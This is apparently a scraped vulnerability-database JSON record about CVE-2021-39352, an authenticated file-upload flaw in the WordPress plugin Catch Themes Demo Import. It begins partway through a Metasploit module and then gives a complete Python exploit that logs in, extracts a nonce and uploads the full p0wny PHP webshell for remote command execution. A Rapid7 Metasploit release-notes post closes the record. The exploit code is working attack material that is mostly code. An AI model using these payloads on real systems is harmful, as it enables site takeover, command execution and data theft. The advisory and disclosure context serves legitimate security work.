\npayload.encoded, \n'application/x-php', \nnil, \n\"form-data; name=\\\"content_file\\\"; filename=\\\"#{random_filename}\\\"\" \n) \n \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), \n'method' => 'POST', \n'cookie' => cookie, \n'keep_cookies' => 'true', \n'ctype' => \"multipart/form-data; boundary=#{multipart_form.bound}\", \n'data' => multipart_form.to_s \n) \nfail_with(Failure::Unreachable, 'Site not responding') unless res \nfail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX') \nfail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500 \n# yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This \n# is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully) \n# \n# [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123 \n# Stack trace: \n# #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\\\WPContentImporter2\\\\WXRImporter->get_reader() \n# #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\\\WPContentImporter2\\\\WXRImporter->import() \n# #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\\\Importer->import() \n# #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\\\Importer->import_content() \n# #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\\\CatchThemesDemoImport->import_demo_data_ajax_callback() \n# #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters() \n# #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123 \nregister_file_for_cleanup(random_filename) \nmonth = Date.today.month.to_s.rjust(2, '0') \nprint_status(\"Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}\") \nsend_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename), \n'method' => 'GET', \n'keep_cookies' => 'true' \n) \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/165463/wp_catch_themes_demo_import.rb.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-12-09T15:33:03", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-09T00:00:00", "type": "packetstorm", "title": "WordPress Catch Themes Demo Import 1.6.1 Shell Upload", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2021-12-09T00:00:00", "id": "PACKETSTORM:165207", "href": "https://packetstormsecurity.com/files/165207/WordPress-Catch-Themes-Demo-Import-1.6.1-Shell-Upload.html", "sourceData": "`# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated) \n# Date 07.12.2021 \n# Exploit Author: Ron Jost (Hacker5preme) \n# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/ \n# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip \n# Version: <= 1.6.1 \n# Tested on: Ubuntu 18.04 \n# CVE: CVE-2021-39352 \n# CWE: CWE-434 \n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md \n \n \n''' \nDescription: \nThe Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality \nfound in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7, \ndue to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload \nmalicious files that can be used to achieve remote code execution. \n''' \n \n# Banner: \nbanner = \"\"\" \n____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ \n||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 || \n||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| \n|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\| \n \n[+] Catch Themes Demo Import RCE (Authenticated) \n[@] Developed by Ron Jost (Hacker5preme) \n \n\"\"\" \nprint(banner) \n \n \nimport argparse \nimport requests \nfrom datetime import datetime \n \n# User-Input: \nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)') \nmy_parser.add_argument('-T', '--IP', type=str) \nmy_parser.add_argument('-P', '--PORT', type=str) \nmy_parser.add_argument('-U', '--PATH', type=str) \nmy_parser.add_argument('-u', '--USERNAME', type=str) \nmy_parser.add_argument('-p', '--PASSWORD', type=str) \nargs = my_parser.parse_args() \ntarget_ip = args.IP \ntarget_port = args.PORT \nwp_path = args.PATH \nusername = args.USERNAME \npassword = args.PASSWORD \nprint('') \nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S'))) \nprint('') \n \n# Authentication: \nsession = requests.Session() \nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' \ncheck = session.get(auth_url) \n# Header: \nheader = { \n'Host': target_ip, \n'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', \n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', \n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', \n'Accept-Encoding': 'gzip, deflate', \n'Content-Type': 'application/x-www-form-urlencoded', \n'Origin': 'http://' + target_ip, \n'Connection': 'close', \n'Upgrade-Insecure-Requests': '1' \n} \n \n# Body: \nbody = { \n'log': username, \n'pwd': password, \n'wp-submit': 'Log In', \n'testcookie': '1' \n} \nauth = session.post(auth_url, headers=header, data=body) \n \n# Get Security nonce value: \ncheck = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text \nnonce = check[check.find('ajax_nonce\"') + 13:] \nwp_nonce = nonce[:nonce.find('\"')] \nprint(wp_nonce) \n \n# Exploit: \nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php' \n \n# Header (Exploit): \nheader = { \n\"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0\", \n\"Accept\": \"*/*\", \n\"Accept-Language\": \"de,en-US;q=0.7,en;q=0.3\", \n\"Accept-Encoding\": \"gzip, deflate\", \n'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import', \n\"X-Requested-With\": \"XMLHttpRequest\", \n\"Content-Type\": \"multipart/form-data; boundary=---------------------------121585879226594965303252407916\", \n\"Origin\": \"http://\" + target_ip, \n\"Connection\": \"close\" \n} \n \n# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell): \nshell_payload = \"-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"action\\\"\\r\\n\\r\\nctdi_import_demo_data\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"security\\\"\\r\\n\\r\\n\" + wp_nonce + \"\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"selected\\\"\\r\\n\\r\\nundefined\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"content_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>p0wny@shell:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar- \nsession.post(exploit_url, headers=header, data=shell_payload) \nprint('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) \nprint(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php') \nprint('') \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/165207/wpctdi161-shell.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2022-01-07T17:52:07", "description": "## Dump Windows secrets from Active Directory\n\n\n\nThis week, our very own [Christophe De La Fuente](<https://github.com/cdelafuente-r7>) added an important [update](<https://github.com/rapid7/metasploit-framework/pull/15924>) to the existing Windows Secret Dump module. It is now able to dump secrets from Active Directory, which will be very useful for Metasploit users. This new feature uses the Directory Replication Service through RPC to retrieve data such as SIDs, password history, Domain user NTLM hashes and Kerberos keys, etc. This replicates the behavior of the famous `impacket` [`secretsdump.py`](<https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py>), with the benefit of being fully integrated with Metasploit Framework. For example, it is possible to [pivot](<https://www.offensive-security.com/metasploit-unleashed/pivoting/>) on a compromised host and run the Windows Secret Dump module against an internal Domain Controller directly from `msfconsole`. Furthermore, the secrets are stored in the internal database, which lets other modules access this information easily.\n\nThis update also brings another big [improvement](<https://github.com/rapid7/ruby_smb/pull/179>) to the `ruby_smb` library. This adds a new DCERPC client and many ready-to-use RPC queries from [Directory Replication Service (DRS) Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47>), [Security Account Manager (SAM) Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>) and [Workstation Service Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>). These will greatly simplify the process of writing modules that use DCERPC against Windows systems.\n\n## Authenticated Catch Themes Demo Import Remote Code Execution\n\nThank you to Ron Jost, Thinkland Security Team, and [h00die](<https://github.com/h00die>) for their community contribution of a Remote Code Execution exploit module against versions 1.8 and earlier of the Catch Themes Demo Import Wordpress Plugin.\n\n## New module content (6)\n\n * [Grafana Plugin Path Traversal](<https://github.com/rapid7/metasploit-framework/pull/15954>) by h00die and jordyv, which exploits [CVE-2021-43798](<https://attackerkb.com/topics/CVE-2021-43798?referrer=blog>) \\- This aAdds a module to exploit Grafana file read vulnerability CVE-2021-43798.\n * [Native LDAP Server (Example)](<https://github.com/rapid7/metasploit-framework/pull/15961>) by RageLtMan and Spencer McIntyre - This adds the initial implementation of an LDAP server implemented in Rex and updates the existing log4shell scanner module to use it as well as provides a new example module.\n * [Wordpress Plugin Catch Themes Demo Import RCE](<https://github.com/rapid7/metasploit-framework/pull/15988>) by Ron Jost, Thinkland Security Team, and h00die, which exploits [CVE-2021-39352](<https://attackerkb.com/topics/s7edbWB4Vg/cve-2021-39352?referrer=blog>) \\- This adds an exploit for the Catch Themes Demo Import Wordpress plugin for versions below `1.8`. The functionality for importing a theme does not properly sanitize file formats, allowing an authenticated user to upload a php payload. Requesting the uploaded file achieves code execution as the user running the web server.\n * [Wordpress Popular Posts Authenticated RCE](<https://github.com/rapid7/metasploit-framework/pull/15948>) by Jerome Bruandet, Simone Cristofaro, and h00die, which exploits [CVE-2021-42362](<https://attackerkb.com/topics/FzFxJJq242/cve-2021-42362?referrer=blog>) \\- This PR adds a new exploit for wp_popular_posts <=5.3.2.\n * [ManageEngine ServiceDesk Plus CVE-2021-44077](<https://github.com/rapid7/metasploit-framework/pull/15950>) by wvu and Y4er, which exploits [CVE-2021-44077](<https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077?referrer=blog>)\n * [Dell DBUtilDrv2.sys Memory Protection Modifier](<https://github.com/rapid7/metasploit-framework/pull/15955>) by Jacob Baines, Kasif Dekel, Red Cursor, and SentinelLabs - This module leverages a write-what-where condition in DBUtilDrv2.sys version 2.5 or 2.7 to disable or enable LSA protect on a given PID (assuming the system is configured for LSA Protection). The drivers must be provided by the user.\n\n## Enhancements and features\n\n * [#15831](<https://github.com/rapid7/metasploit-framework/pull/15831>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- Established SSH connections can now leverage the pivoting capabilities of the `SshCommandShellBind` session type.\n * [#15882](<https://github.com/rapid7/metasploit-framework/pull/15882>) from [smashery](<https://github.com/smashery>) \\- An update has been made which will prevent exploits from running a payload if the exploit drops files onto the target, but the payload doesn't have the capability to clean those dropped files up from the target. Users can still override this setting by specifying `set AllowNoCleanup true` if they wish to bypass this protection.\n * [#15924](<https://github.com/rapid7/metasploit-framework/pull/15924>) from [cdelafuente-r7](<https://github.com/cdelafuente-r7>) \\- This adds the NTDS technique to the Windows Secrets Dump module, enabling it to be used against Domain Controllers. It also pulls in RubySMB changes that include many DCERPC related improvements and features.\n * [#15986](<https://github.com/rapid7/metasploit-framework/pull/15986>) from [bcoles](<https://github.com/bcoles>) \\- Module notes added to `bash_profile_persistence` now describe impacts of utilizing the module in a target environment.\n\n## Bugs fixed\n\n * [#15982](<https://github.com/rapid7/metasploit-framework/pull/15982>) from [3V3RYONE](<https://github.com/3V3RYONE>) \\- This fixes a bug where modules using the SMB client would crash when the `SMBUser` datastore option had been explicitly unset.\n * [#15984](<https://github.com/rapid7/metasploit-framework/pull/15984>) from [h00die](<https://github.com/h00die>) \\- This PR fixes a bug in the snmp library which caused it to ignore version 1, despite specifically set options.\n * [#16003](<https://github.com/rapid7/metasploit-framework/pull/16003>) from [jmartin-r7](<https://github.com/jmartin-r7>) \\- This fixes an issue with GitHub actions where the Ruby 3.1.0 version string is not yet being parsed correctly leading to automation failures.\n * [#16015](<https://github.com/rapid7/metasploit-framework/pull/16015>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a regression in tab completion for the RHOSTS datastore option.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.20...6.1.23](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-12-16T12%3A07%3A37-06%3A00..2022-01-06T10%3A44%3A33-06%3A00%22>)\n * [Full diff 6.1.20...6.1.23](<https://github.com/rapid7/metasploit-framework/compare/6.1.20...6.1.23>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-07T17:28:25", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352", "CVE-2021-42362", "CVE-2021-43798", "CVE-2021-44077"], "modified": "2022-01-07T17:28:25", "id": "RAPID7BLOG:104BCB9FE21AA540C50BD81151F701D5", "href": "https://blog.rapid7.com/2022/01/07/metasploit-wrap-up-144/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}